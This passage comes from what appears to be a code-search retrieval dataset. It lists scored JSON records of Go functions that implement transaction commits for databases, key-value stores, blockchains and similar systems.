"func (r *Restore) Commit() {\n\tr.tx.Commit()\n}", "title": "" }, { "docid": "4eaf75480842516d5917bb95ee123caa", "score": "0.621699", "text": "func (tx *Tx) Commit() error {\n\treturn tx.conn.Commit()\n}", "title": "" }, { "docid": "2fe5da3788c64e557746ebff7aed7dca", "score": "0.620923", "text": "func (txmgr *LockBasedTxMgr) Commit() error {\r\n\tlogger.Debugf(\"Committing updates to state database\")\r\n\ttxmgr.commitRWLock.Lock()\r\n\tdefer txmgr.commitRWLock.Unlock()\r\n\tlogger.Debugf(\"Write lock acquired for committing updates to state database\")\r\n\tif txmgr.batch == nil {\r\n\t\tpanic(\"validateAndPrepare() method should have been called before calling commit()\")\r\n\t}\r\n\tdefer func() { txmgr.batch = nil }()\r\n\tif err := txmgr.db.ApplyUpdates(txmgr.batch,\r\n\t\tversion.NewHeight(txmgr.currentBlock.Header.Number, uint64(len(txmgr.currentBlock.Data.Data)-1))); err != nil {\r\n\t\treturn err\r\n\t}\r\n\tlogger.Debugf(\"Updates committed to state database\")\r\n\treturn nil\r\n}", "title": "" }, { "docid": "024cd62c44fd7c8e8b226091598b22d3", "score": "0.6205444", "text": "func (t *tx) Commit() error {\n\n\tdefer t.enableAutoCommit()\n\n\t_, err := t.conn.httpClient.post(context.Background(), &message.CommitRequest{\n\t\tConnectionId: t.conn.connectionId,\n\t})\n\n\tif err != nil {\n\t\treturn t.conn.avaticaErrorToResponseErrorOrError(err)\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "21a08bcb56d3b52bef8ee5790256a28e", "score": "0.61962694", "text": "func (m *mapping) commit(cont bool) error {\n\tm.clientMut.Lock()\n\tdefer m.clientMut.Unlock()\n\n\tvar err error\n\tif m.create && m.tx != nil {\n\t\terr = m.tx.Commit()\n\t}\n\n\tm.create = cont\n\tm.tx = nil\n\n\treturn err\n}", "title": "" }, { "docid": "a8f4250724c27864be132dfa7b97d02a", "score": "0.61598915", "text": "func (tx *transaction) Commit() error {\n\t// Prevent commits on managed transactions.\n\tif tx.managed {\n\t\ttx.close()\n\t\tpanic(\"managed transaction commit not allowed\")\n\t}\n\n\t// Ensure transaction state is valid.\n\tif err := tx.checkClosed(); err != nil {\n\t\treturn err\n\t}\n\n\t// Regardless of whether the commit succeeds, the transaction is closed\n\t// on return.\n\tdefer tx.close()\n\n\t// Ensure the transaction is writable.\n\tif !tx.writable {\n\t\tstr := \"Commit requires a writable database transaction\"\n\t\treturn makeDbErr(store.ErrTxNotWritable, str, nil)\n\t}\n\n\t// Write pending data. The function will rollback if any errors occur.\n\tif err := tx.tx.Commit(); err != nil {\n\t\treturn convertErr(\"commit tx\", err)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "5a0885ca6d7e28200c396e874e94afb0", "score": "0.615519", "text": "func (ftc *fakeTabletConn) Commit(ctx context.Context, transactionID int64) error {\n\treturn fmt.Errorf(\"not implemented in this test\")\n}", "title": "" }, { "docid": "07c9ae313c3806ce31221653669576c8", "score": "0.6153774", "text": "func (h *HousingCommitmentBach) Save(db *sql.DB) error {\n\tfor i, l := range h.Lines {\n\t\tif l.Reference == \"\" {\n\t\t\treturn fmt.Errorf(\"Ligne %d, Reference vide\", i+1)\n\t\t}\n\t\tif l.IRISCode == \"\" {\n\t\t\treturn fmt.Errorf(\"Ligne %d, IRISCode vide\", i+1)\n\t\t}\n\t}\n\ttx, err := db.Begin()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"begin transaction %v\", err)\n\t}\n\tif _, err = tx.Exec(`DELETE FROM housing_commitment`); err != nil {\n\t\ttx.Rollback()\n\t\treturn fmt.Errorf(\"delete query %v\", err)\n\t}\n\tstmt, err := tx.Prepare(pq.CopyIn(\"housing_commitment\", \"reference\", \"iris_code\"))\n\tif err != nil {\n\t\ttx.Rollback()\n\t\treturn fmt.Errorf(\"statement creation %v\", err)\n\t}\n\tfor _, l := range h.Lines {\n\t\tif _, err = stmt.Exec(l.Reference, l.IRISCode); err != nil {\n\t\t\ttx.Rollback()\n\t\t\treturn fmt.Errorf(\"statement execution %v\", err)\n\t\t}\n\t}\n\tif _, err = stmt.Exec(); err != nil {\n\t\ttx.Rollback()\n\t\treturn fmt.Errorf(\"statement flush exec %v\", err)\n\t}\n\tif err = stmt.Close(); err != nil {\n\t\ttx.Rollback()\n\t\treturn fmt.Errorf(\"statement close %v\", err)\n\t}\n\tqueries := []string{`UPDATE commitment SET housing_id=q.housing_id, \n\tcopro_id=NULL, renew_project_id=NULL FROM\n\t\t(SELECT c.id AS commitment_id,h.id AS housing_id FROM housing h \n\t\t\tJOIN housing_commitment hc ON h.reference=hc.reference\n\t\t\tJOIN commitment c ON hc.iris_code=c.iris_code) q \n\tWHERE commitment.id=q.commitment_id`,\n\t\t`DELETE FROM housing_commitment`}\n\tfor i, q := range queries {\n\t\tif _, err = tx.Exec(q); err != nil {\n\t\t\ttx.Rollback()\n\t\t\treturn fmt.Errorf(\"query %d %v\", i, err)\n\t\t}\n\t}\n\treturn tx.Commit()\n}", "title": "" }, { "docid": "9c8c51558364bfe40945a3082afacf83", "score": "0.61474395", "text": "func (s *Sync) Commit(kvdb db.KvDb) (int, error) {\n\tfor i, key := range s.membatch.order {\n\t\tif err := kvdb.Put(key[:], s.membatch.batch[key]); err != nil {\n\t\t\treturn i, err\n\t\t}\n\t}\n\twritten := len(s.membatch.order)\n\n\t// Drop the membatch data and return\n\ts.membatch = newSyncMemBatch()\n\treturn written, nil\n}", "title": "" }, { "docid": "8fac320046f0d9b0ba0602da4f82005c", "score": "0.61324334", "text": "func (t *UpdateTran) commit() int {\n\tt.db.UpdateState(func(state *DbState) {\n\t\tstate.Meta = t.meta.LayeredOnto(state.Meta)\n\t})\n\treturn t.num()\n}", "title": "" }, { "docid": "fff33b1bda9613afef32229f36ba89fe", "score": "0.61166525", "text": "func (t *MDBTxn) Commit() error {\n\tif err := t.tx.Commit(); err != nil {\n\t\treturn err\n\t}\n\tfor _, f := range t.after {\n\t\tf()\n\t}\n\tt.after = nil\n\treturn nil\n}", "title": "" }, { "docid": "766dd851a3c3ff5b1bbf39fdf0ef8096", "score": "0.61142254", "text": "func (*Tx) Commit() error {\n\tif debug {\n\t\tfmt.Println(\"Tx Commit\")\n\t}\n\treturn ErrTx\n}", "title": "" }, { "docid": "bc3ab4131ffeeb83ea4f16544e8635d3", "score": "0.61003876", "text": "func (h *Handler) Commit() error {\n\th.align()\n\tif err := h.repository.Write(h.tasks); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "11c7be211a69ae88c072543696c61977", "score": "0.60787004", "text": "func (c *TxnController) Commit() revel.Result {\n\tif c.Txn == nil {\n\t\treturn nil\n\t}\n\n\tc.Txn.Commit()\n\tif c.Txn.Error != nil && c.Txn.Error != sql.ErrTxDone {\n\t\tfmt.Println(c.Txn.Error)\n\t\tpanic(c.Txn.Error)\n\t}\n\n\tc.Txn = nil\n\treturn nil\n}", "title": "" }, { "docid": "b50bb66f934a7db02eace972990adb2e", "score": "0.6077147", "text": "func (m *manager) Commit(proposed *types.Any, cas string) error {\n\treturn m.Updatable.Commit(proposed, cas)\n}", "title": "" }, { "docid": "dce0335cf85ab0ad4dbec4efeea837b0", "score": "0.60672885", "text": "func (ftc *fakeTabletConn) Commit(ctx context.Context, target *querypb.Target, transactionID int64) (int64, error) {\n\treturn 0, nil\n}", "title": "" }, { "docid": "b5490cf33eb01b48ef825d9ad382a847", "score": "0.6060457", "text": "func (cb *CouchbaseDB) Commit(its []*x.Instruction) error {\n\tc := cb.bucket\n\tfor _, it := range its {\n\t\tvar key string\n\t\tkey = fmt.Sprintf(\"%s_%s\", it.SubjectId, x.UniqueString(5))\n\t\tcas, err := c.Insert(key, &it, 0)\n\t\tif cas == 0 {\n\t\t\tx.LogErr(log, err).Error(\"While executing batch\")\n\t\t\treturn nil\n\t\t}\n\n\t}\n\n\tlog.WithField(\"inserted\", len(its)).Debug(\"Stored instructions\")\n\n\treturn nil\n}", "title": "" }, { "docid": "4748ece6807dc7b5ca7bdd63c50c80d6", "score": "0.6040233", "text": "func (t *Tx) Commit() error {\n\tif len(t.Errors) > 0 {\n\t\treturn TxQueryError\n\t}\n\tne := NeoError{}\n\tresp, err := t.db.Session.Post(t.hrefCommit, nil, nil, &ne)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif resp.Status() != 200 {\n\t\treturn ne\n\t}\n\treturn nil // Success\n}", "title": "" }, { "docid": "78656c4f6aab3bcdcf640861ac3b5025", "score": "0.6029197", "text": "func (t *transaction) Commit() {\n\tt.ShouldCommit = true\n}", "title": "" }, { "docid": "d017e1c60ce18f087d7a59ab768ecdc7", "score": "0.6026072", "text": "func (t *DbTransaction) Commit() error {\n\tlogger.Log().DebugWithFields(logger.Fields{\"component\": componentName}, \"Transaction commit\")\n\n\tif err := t.context.DB.Commit().Error; err != nil {\n\t\tlogger.Log().ErrorWithFields(logger.Fields{\n\t\t\t\"error\": err,\n\t\t\t\"component\": componentName,\n\t\t}, \"Cannot commit the transaction\")\n\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "56ba9a9557e2fde7600dd6294d2927ee", "score": "0.6024937", "text": "func (tx *PostgresTx) Commit(ctx context.Context) error {\n\treturn tx.tx.Commit(ctx)\n}", "title": "" }, { "docid": "f5e46bba59edf0ca3a4b4f7764c5881b", "score": "0.6020538", "text": "func (tx *transaction) close() {\n\tif !tx.writable {\n\t\ttx.tx.Rollback()\n\t}\n\ttx.closed = true\n\ttx.db.activeTx.Done()\n\ttx.db.closeLock.RUnlock()\n}", "title": "" }, { "docid": "725eb9c9b6ce6e01a3a1f2102a4760d7", "score": "0.600702", "text": "func (repository *Repository) TransactionCommit(transaction *gorm.DB) {\n\ttransaction.Commit()\n}", "title": "" }, { "docid": "0530ddb5e6dc7d20347b97f9a7b75071", "score": "0.5985543", "text": "func (g *Guard) Commit(ctx context.Context) error {\n\tg.mu.Lock()\n\tdefer g.mu.Unlock()\n\n\tif err := g.mu.error; err != nil {\n\t\treturn errors.Wrap(err, \"keepalive previously failed\")\n\t}\n\n\ttx := g.mu.tx\n\tif tx == nil {\n\t\treturn errors.New(\"transaction not open\")\n\t}\n\tg.mu.tx = nil\n\treturn errors.Wrap(tx.Commit(ctx), \"could not commit tx\")\n}", "title": "" }, { "docid": "ded4d7ea1b76f371f911bdecae2452f7", "score": "0.59843487", "text": "func (p *provider) StoreCommit(_ lite.FullCommit) error { return nil }", "title": "" }, { "docid": "c832e1807b12ea966755429bad69df66", "score": "0.59703", "text": "func (sdc *ShardConn) Commit(ctx context.Context, transactionID int64) (err error) {\n\treturn sdc.withRetry(ctx, func(conn tabletconn.TabletConn) error {\n\t\treturn conn.Commit(ctx, transactionID)\n\t}, transactionID, false)\n}", "title": "" }, { "docid": "bc275676aeb87116072ec818bd816971", "score": "0.5967816", "text": "func (this SQLiteDatabase) writeCommits(tx *sql.Tx, commits []GitCommit) {\n\n\tfor _, o := range(commits) {\n\n\t\tstmt, stmterr := tx.Prepare(\"insert into commits values (?, ?, ?, ?, ?, ?, ?, ?)\")\n\n\t\tif stmterr != nil {\n\t\t\tlog.Fatal(stmterr)\n\t\t}\n\n\t\tvar parentA string\n\t\tvar parentB string\n\n\t\tif len(o.parents) == 2 {\n\t\t\tparentA = o.parents[0]\n\t\t\tparentB = o.parents[1]\n\t\t} else if len(o.parents) == 1 {\n\t\t\tparentA = o.parents[0]\n\t\t}\n\n\t\t_, execerr := stmt.Exec(\n\t\t\to.hash, \n\t\t\tparentA, \n\t\t\tparentB, \n\t\t\to.author, \n\t\t\to.committer, \n\t\t\to.date, \n\t\t\to.tree, \n\t\t\to.message,\n\t\t)\n\n\t\tif execerr != nil {\n\t\t\tlog.Fatal(execerr)\n\t\t}\n\n\t}\n\n}", "title": "" }, { "docid": "dac4306ed63a375c73558c00ed4db20f", "score": "0.5965549", "text": "func (self *stateObject) CommitTrie(db Database, dbw trie.DatabaseWriter) error {\n\tself.updateTrie(db)\n\tif self.dbErr != nil {\n\t\treturn self.dbErr\n\t}\n\troot, err := self.trie.CommitTo(dbw)\n\tif err == nil {\n\t\tself.data.Root = root\n\t}\n\treturn err\n}", "title": "" }, { "docid": "dea3c59820645adf68d573bc4ebe2742", "score": "0.5957172", "text": "func (app *PasswerkTMSP) Commit() types.Result {\r\n\tapp.mu.Lock()\r\n\r\n\t//unlock before leaving the func\r\n\tdefer func() {\r\n\t\tapp.mu.Unlock()\r\n\t}()\r\n\r\n\treturn types.NewResultOK(app.state.Hash(), \"\")\r\n}", "title": "" }, { "docid": "68c472c1e37e77f0c0bcd3eecbe54e02", "score": "0.5953374", "text": "func (tx *Tx) Commit() error {\r\n\tif tx.done {\r\n\t\treturn ErrTxDone\r\n\t}\r\n\ttx.dc.Lock()\r\n\terr := tx.txi.Commit()\r\n\ttx.dc.Unlock()\r\n\tif err != driver.ErrBadConn {\r\n\t\ttx.closePrepared()\r\n\t}\r\n\ttx.close(err)\r\n\treturn err\r\n}", "title": "" }, { "docid": "54e04dc9b8992ac89693bfb1e4994177", "score": "0.5930667", "text": "func (c *TrxPool) SyncCommittedBlockToDB(blk common.ISignedBlock) (err error) {\n\tdefer func() {\n\t\tif r := recover(); r != nil {\n\t\t\tdesc := fmt.Sprintf(\"[Sync commit]:Faile to commit,the error is %v\", err)\n\t\t\terr = errors.New(desc)\n\t\t}\n\t}()\n\tif blk == nil {\n\t\treturn errors.New(\"[Sync commit]:Fail to sync commit nil block\")\n\t}\n\tcmtNum, err := c.GetLastPushedBlockNum()\n\tif err != nil {\n\t\treturn err\n\t}\n\tnum := blk.Id().BlockNum()\n\tif num <= cmtNum {\n\t\tdesc := fmt.Sprintf(\"[Sync commit]: the block of num %d has already commit,current \"+\n\t\t\t\"commit num is %d\", num, cmtNum)\n\t\terr = errors.New(desc)\n\t\treturn err\n\t}\n\tc.log.Debugf(\"[Reload commit] :sync lost commit block which num is %d\", num)\n\tpErr := c.PushBlock(blk.(*prototype.SignedBlock), prototype.Skip_nothing)\n\tif pErr != nil {\n\t\tdesc := fmt.Sprintf(\"[Sync commit]: push the block which num is %v fail,error is %s\", num, pErr)\n\t\terr = errors.New(desc)\n\t\treturn err\n\t}\n\tc.Commit(num)\n\treturn err\n}", "title": "" }, { "docid": "0b272dea7a961e2843ef56848489edc4", "score": "0.5928529", "text": "func (sf *storeFlusher) Commit() (err error) {\n\tbuilder := sf.builder\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tmetrics.FlushStatistics.Failure.Incr()\n\t\t}\n\t\tif builder != nil {\n\t\t\t// remove temp file number if fail\n\t\t\tfileNumber := builder.FileNumber()\n\t\t\tsf.family.removePendingOutput(fileNumber)\n\t\t}\n\t}()\n\tif builder != nil {\n\t\terr = builder.Close()\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"close table builder error when flush commit, error:%s\", err)\n\t\t}\n\n\t\tfileMeta := version.NewFileMeta(builder.FileNumber(), builder.MinKey(), builder.MaxKey(), builder.Size())\n\t\tsf.editLog.Add(version.CreateNewFile(0, fileMeta))\n\t}\n\tfor leader, seq := range sf.sequences {\n\t\t// add sequence for each leader\n\t\tsf.editLog.Add(version.CreateSequence(leader, seq))\n\t}\n\n\t// check if it needs add rollup log to target store\n\tif len(sf.outputs) > 0 {\n\t\tstore := sf.family.getStore()\n\t\trollupTargetStores := store.Option().Rollup\n\t\tfor _, interval := range rollupTargetStores {\n\t\t\t// add rollup files edit log in source version\n\t\t\tfor _, output := range sf.outputs {\n\t\t\t\tsf.editLog.Add(version.CreateNewRollupFile(output, interval))\n\t\t\t}\n\t\t}\n\t}\n\n\tif flag := sf.family.commitEditLog(sf.editLog); !flag {\n\t\terr = fmt.Errorf(\"commit edit log failure\")\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "e3925b6420e547e41ce007a477c35b5e", "score": "0.5923873", "text": "func (app *PersistentApplication) Commit() (res types.ResponseCommit) {\n\t// Save a new version for next height\n\theight := app.state.LatestVersion() + 1\n\tif appHash, err := app.state.SaveVersion(height); err != nil {\n\t\tpanic(err)\n\t} else {\n\t\tapp.logger.Info(\"Commit block\", \"height\", height, \"root\", appHash)\n\t\treturn types.ResponseCommit{Code: code.Ok.Code, Data: appHash}\n\t}\n}", "title": "" }, { "docid": "e50ada1386757faa0d84eb7818105176", "score": "0.58991474", "text": "func (m *Migrator) Commit() error {\n\terr := m.Tx.Commit(\"Migration\")\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"Error encountered while committing database migration changes\")\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "429cd41f4753f2bcba9cd370e3e92e01", "score": "0.5895558", "text": "func (d *DB) CommitTransaction() error {\n\tif d.tx == nil {\n\t\treturn nil\n\t}\n\n\treturn d.tx.Commit()\n}", "title": "" }, { "docid": "ca1c59d294d73ac9f845f74e2266649b", "score": "0.58927876", "text": "func (store *BoltStorage) CommitTransaction() error {\n\treturn store.activeTxn.Commit()\n}", "title": "" }, { "docid": "a9a294fb6c3f0eeadc5b4e17742f068f", "score": "0.5886354", "text": "func (tx *Tx) Commit() error {\n\tif tx.managed {\n\t\tpanic(\"managed tx commit not allowed\")\n\t} else if tx.db == nil {\n\t\treturn ErrTxClosed\n\t} else if !tx.writable {\n\t\treturn ErrTxNotWritable\n\t}\n\n\t// TODO(benbjohnson): Use vectorized I/O to write out dirty pages.\n\n\t// Rebalance nodes which have had deletions.\n\tvar startTime = time.Now()\n\ttx.rebalance()\n\ttx.stats.RebalanceTime += time.Since(startTime)\n\n\t// spill data onto dirty pages.\n\tstartTime = time.Now()\n\tif err := tx.spill(); err != nil {\n\t\ttx.close()\n\t\treturn err\n\t}\n\ttx.stats.SpillTime += time.Since(startTime)\n\n\t// Spill buckets page.\n\tp, err := tx.allocate((tx.buckets.size() / tx.db.pageSize) + 1)\n\tif err != nil {\n\t\ttx.close()\n\t\treturn err\n\t}\n\ttx.buckets.write(p)\n\n\t// Free previous bucket page and update meta.\n\ttx.db.freelist.free(tx.id(), tx.page(tx.meta.buckets))\n\ttx.meta.buckets = p.id\n\n\t// Free the freelist and allocate new pages for it. This will overestimate\n\t// the size of the freelist but not underestimate the size (which would be bad).\n\ttx.db.freelist.free(tx.id(), tx.page(tx.meta.freelist))\n\tp, err = tx.allocate((tx.db.freelist.size() / tx.db.pageSize) + 1)\n\tif err != nil {\n\t\ttx.close()\n\t\treturn err\n\t}\n\ttx.db.freelist.write(p)\n\ttx.meta.freelist = p.id\n\n\t// Write dirty pages to disk.\n\tstartTime = time.Now()\n\tif err := tx.write(); err != nil {\n\t\ttx.close()\n\t\treturn err\n\t}\n\n\t// Write meta to disk.\n\tif err := tx.writeMeta(); err != nil {\n\t\ttx.close()\n\t\treturn err\n\t}\n\ttx.stats.WriteTime += time.Since(startTime)\n\n\t// Finalize the transaction.\n\ttx.close()\n\n\t// Execute commit handlers now that the locks have been removed.\n\tfor _, fn := range tx.commitHandlers {\n\t\tfn()\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "6dc47108a03874521d40fbcbb44fcff1", "score": "0.58708286", "text": "func (l *Location) Commit(mode borges.Mode) error {\n\tif !l.lib.options.Transactional {\n\t\treturn borges.ErrNonTransactional.New()\n\t}\n\n\tif mode != borges.RWMode {\n\t\treturn nil\n\t}\n\n\tdefer l.txer.Stop()\n\tl.m.RLock()\n\tdefer l.m.RUnlock()\n\tif err := l.checkpoint.Reset(); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "52cb7a59f8b8134582ceb294a922ade7", "score": "0.58623064", "text": "func (mavls *Store) Commit(req *types.ReqHash) ([]byte, error) {\n\tbeg := types.Now()\n\tdefer func() {\n\t\tmlog.Debug(\"Commit\", \"cost\", types.Since(beg))\n\t}()\n\ttree, ok := mavls.trees.Load(string(req.Hash))\n\tif !ok {\n\t\tmlog.Error(\"store mavl commit\", \"err\", types.ErrHashNotFound)\n\t\treturn nil, types.ErrHashNotFound\n\t}\n\tif tree == nil {\n\t\tmlog.Info(\"store mavl commit,do nothing for kvset is null\")\n\t\tmavls.trees.Delete(string(req.Hash))\n\t\treturn req.Hash, nil\n\t}\n\thash := tree.(*mavl.Tree).Save()\n\tif hash == nil {\n\t\tmlog.Error(\"store mavl commit\", \"err\", types.ErrHashNotFound)\n\t\treturn nil, types.ErrDataBaseDamage\n\t}\n\tmavls.trees.Delete(string(req.Hash))\n\treturn req.Hash, nil\n}", "title": "" }, { "docid": "9283fe13453dfa35f55ed356de7dcaba", "score": "0.58481836", "text": "func (s *DynamoStore) Commit(token string, data []byte, expiry time.Time) error {\n\tctx := context.Background()\n\treturn s.setItem(ctx, token, data, expiry)\n}", "title": "" }, { "docid": "b57433b499b9b3b15406f44bff9db5b4", "score": "0.58378494", "text": "func (c *Chain) commit() *Chain {\n\tc.mux.Lock()\n\tdefer c.mux.Unlock()\n\n\tlogger.File(\"writing chain of length\"+strconv.Itoa(len(c.Chain)), \"p\")\n\tbytes := parseToJSON(c.Chain)\n\te := saveToHDD(c.Path, bytes)\n\tif e != nil {\n\t\tpanic(e)\n\t}\n\tc.containsNewBlocks = false\n\treturn c\n}", "title": "" }, { "docid": "515e05f25d11c897a635969d93ee542d", "score": "0.5823062", "text": "func (s *SQLite) CommitTransaction() bool {\n\treturn s.ExecQuery(\"COMMIT TRANSACTION\")\n}", "title": "" }, { "docid": "f04fe2bfdfb91c24f23f954e21613970", "score": "0.581681", "text": "func SaveDatabaseHandler(w http.ResponseWriter, r *http.Request) {\n\n\tstatus := true\n\terr := SaveState()\n\tif err != nil {\n\t\tfmt.Printf(\"Error Saving Database: %s\\n\", err)\n\t\tstatus = false\n\t}\n\n\ttemplate := \"templates/commit.html\"\n\t//template := \"templates/index.html\"\n\ttmpl := pongo2.Must(pongo2.FromFile(template))\n\n\tout, err := tmpl.Execute(pongo2.Context{\n\t\t\"title\": \"Commit Status\",\n\t\t\"status\": status,\n\t\t\"err\": err,\n\t\t\"version\": VERSION,\n\t})\n\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\tfmt.Println(err)\n\t}\n\tw.WriteHeader(http.StatusOK)\n\tfmt.Fprintf(w, out)\n}", "title": "" }, { "docid": "b1e3035a4f75546d3e64420eded7bad0", "score": "0.58162385", "text": "func writeDb(file string) error {\n\tjson, err := json.MarshalIndent(db, \"\", \" \") \n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn ioutil.WriteFile(file, json, 0777)\n}", "title": "" }, { "docid": "21ebd3549dbb1a97b84a33c927d6f912", "score": "0.58147466", "text": "func (t *Transaction) Commit() error {\n\terr := t.tx.Commit()\n\tt.tx = nil\n\treturn err\n}", "title": "" }, { "docid": "fc5c5d733252e1a5903f269fbfbbce4f", "score": "0.5811649", "text": "func (txn *Txn) Commit() error {\n\tif len(txn.writeCache) == 0 {\n\t\treturn nil\n\t}\n\treturn txn.db.oracle.commit(txn.readSet, txn.writeCache)\n}", "title": "" }, { "docid": "d60ab55acbbcd150ced1b763ddae5144", "score": "0.5806073", "text": "func (o *ObjectStorage) Commit() error {\n\titer, err := o.temporal.IterEncodedObjects(plumbing.AnyObject)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn iter.ForEach(func(obj plumbing.EncodedObject) error {\n\t\t_, err := o.EncodedObjectStorer.SetEncodedObject(obj)\n\t\treturn err\n\t})\n}", "title": "" }, { "docid": "c22791cc6390443a74d1c4b0cf4ddae3", "score": "0.5796643", "text": "func (tx *Tx) Commit() error {\n\treturn tx.tx.Commit()\n}", "title": "" }, { "docid": "7c1616a4a8ac977cc77f2ff05773b6f7", "score": "0.579644", "text": "func (t *Transaction) commit(done chan error) {\n\t// Signal completion of the commit\n\tdefer close(done)\n\n\t// Make sure that the initialization of the transaction finished\n\terr := <-t.initComplete\n\tif err != nil {\n\t\tdone <- err\n\t\treturn\n\t}\n\n\t// set the status of the first page first\n\tt.firstPage.pageStatus = pageStatusComitted\n\n\t// Set the transaction number of the first page and increase the transactionCounter of the wal\n\tt.firstPage.transactionNumber = atomic.AddUint64(&t.wal.atomicNextTxnNum, 1) - 1\n\n\t// calculate the checksum\n\tt.firstPage.transactionChecksum = t.checksum()\n\n\t// Finalize the commit by writing the first page with the updated status if\n\t// there have been no errors so far.\n\tif t.wal.deps.disrupt(\"CommitFail\") {\n\t\t// Disk failure causes the commit to fail\n\t\tdone <- errors.New(\"Write failed on purpose\")\n\t\treturn\n\t}\n\n\terr = t.firstPage.writeToFile(t.wal.logFile)\n\tif err != nil {\n\t\tdone <- build.ExtendErr(\"Writing the first page failed\", err)\n\t\treturn\n\t}\n\n\tt.commitComplete = true\n\tt.wal.fSync()\n}", "title": "" }, { "docid": "dc403af8b37ad2b270559a41e7564974", "score": "0.57878953", "text": "func (readWriter localFileReadWriter) Commit() error {\n\treturn readWriter.close()\n}", "title": "" }, { "docid": "5697a90efa21df30b484f358f2fc6e7e", "score": "0.5785854", "text": "func (c *Firewall) Commit(desc string, dan, pao, force, sync bool) (uint, error) {\n c.LogAction(\"(commit) %q\", desc)\n\n req := fwCommit{Description: desc}\n if !dan || !pao {\n req.Partial = &fwCommitPartial{}\n if !dan {\n req.Partial.Dan = \"excluded\"\n }\n if !pao {\n req.Partial.Pao = \"excluded\"\n }\n }\n if force {\n req.Force = \"\"\n }\n\n job, _, err := c.CommitConfig(req, \"\", nil)\n if err != nil || !sync || job == 0 {\n return job, err\n }\n\n return job, c.WaitForJob(job, nil)\n}", "title": "" }, { "docid": "224b4752efaae71b15c8c821ae7d3ea4", "score": "0.5784924", "text": "func writeDB() {\n\tos.Remove(\"./crwld.db\")\n\n\tdb, err := sql.Open(\"sqlite3\", \"./crwld.db\")\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn\n\t}\n\tdefer db.Close()\n\n\t//Neue Tabelle(n) erstellen\n\tsqls := []string{\n\t\t\"create table data (url text not null, word text, count int)\",\n\t\t\"delete from data\",\n\t}\n\tfor _, sql := range sqls {\n\t\t_, err = db.Exec(sql)\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"%q: %s\\n\", err, sql)\n\t\t\treturn\n\t\t}\n\t}\n\tstart := time.Now() // Initialiseren\n\twaittime, _ := time.ParseDuration(\"100ms\")\n\t// Endlosworker\n\tfor {\n\t\tselect {\n\t\tcase index := <-chan_urlindexes: // Neue Arbeit aus dem Channel holen\n\t\t\tstart = time.Now() // zu diesem Zeitpunkt gab es das letzte mal Arbeit\n\t\t\ttx, err := db.Begin()\n\t\t\tif err != nil {\n\t\t\t\tfmt.Println(err)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tstmt, err := tx.Prepare(\"insert into data(url, word, count) values(?, ?, ?)\") //Maske für das SQL Statement setzen\n\t\t\tif err != nil {\n\t\t\t\tfmt.Println(err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tdefer stmt.Close()\n\n\t\t\t// Die gesamte MAP durchlaufen und für jeden Key ein SQl Statement zusammensetzen\n\t\t\tfor element := range index.WORDS {\n\t\t\t\t_, err = stmt.Exec(index.URL, element, index.WORDS[element])\n\t\t\t\tif err != nil {\n\t\t\t\t\tfmt.Println(err)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\t\t\ttx.Commit()\n\n\t\tdefault:\n\t\t\t//keine arbeit da\n\t\t\tdebugausgabe(\"KEINE SCHREIBARBEIT DA\")\n\t\t\tif time.Since(start).Seconds() > 5 {\n\t\t\t\tstop = true // wenn länger als 3 Sekunden auf neue Schreibarbeit gewartet wurde -->beenden\n\t\t\t}\n\t\t\ttime.Sleep(waittime) //kurz abwarten\n\t\t}\n\t}\n}", "title": "" }, { "docid": "af68b4ba0ced6a5abb9dbb461cc0b407", "score": "0.5780831", "text": "func (db *Database) Close() {\n\tif db.store == nil {\n\t\treturn // already closed\n\t}\n\tif db.ck != nil {\n\t\tdb.ck.Stop()\n\t} else if db.mode != stor.READ {\n\t\tdb.Persist(&execPersistSingle{}, true)\n\t}\n\tif db.mode != stor.READ {\n\t\t// need to use Write because all but last chunk are read-only\n\t\tbuf := make([]byte, stor.SmallOffsetLen)\n\t\tstor.WriteSmallOffset(buf, db.store.Size())\n\t\tdb.store.Write(uint64(len(magic)), buf)\n\t}\n\tdb.store.Close()\n\tdb.store = nil\n}", "title": "" }, { "docid": "2cfca97f85086da8b2f769941e177198", "score": "0.57622874", "text": "func (bc *blockchain) commitBlock(blk *block.Block) error {\n\t// Check if it is already exists, and return earlier\n\tblkHash, err := bc.dao.getBlockHash(blk.Height())\n\tif blkHash != hash.ZeroHash256 {\n\t\tlog.L().Debug(\"Block already exists.\", zap.Uint64(\"height\", blk.Height()))\n\t\treturn nil\n\t}\n\t// If it's a ready db io error, return earlier with the error\n\tif errors.Cause(err) != db.ErrNotExist {\n\t\treturn err\n\t}\n\t// write block into DB\n\tputTimer := bc.timerFactory.NewTimer(\"putBlock\")\n\terr = bc.dao.putBlock(blk)\n\tputTimer.End()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// update tip hash and height\n\tatomic.StoreUint64(&bc.tipHeight, blk.Height())\n\tbc.tipHash = blk.HashBlock()\n\n\tif bc.sf != nil {\n\t\tsfTimer := bc.timerFactory.NewTimer(\"sf.Commit\")\n\t\terr := bc.sf.Commit(blk.WorkingSet)\n\t\tsfTimer.End()\n\t\t// detach working set so it can be freed by GC\n\t\tblk.WorkingSet = nil\n\t\tif err != nil {\n\t\t\tlog.L().Panic(\"Error when committing states.\", zap.Error(err))\n\t\t}\n\n\t\t// write smart contract receipt into DB\n\t\treceiptTimer := bc.timerFactory.NewTimer(\"putReceipt\")\n\t\terr = 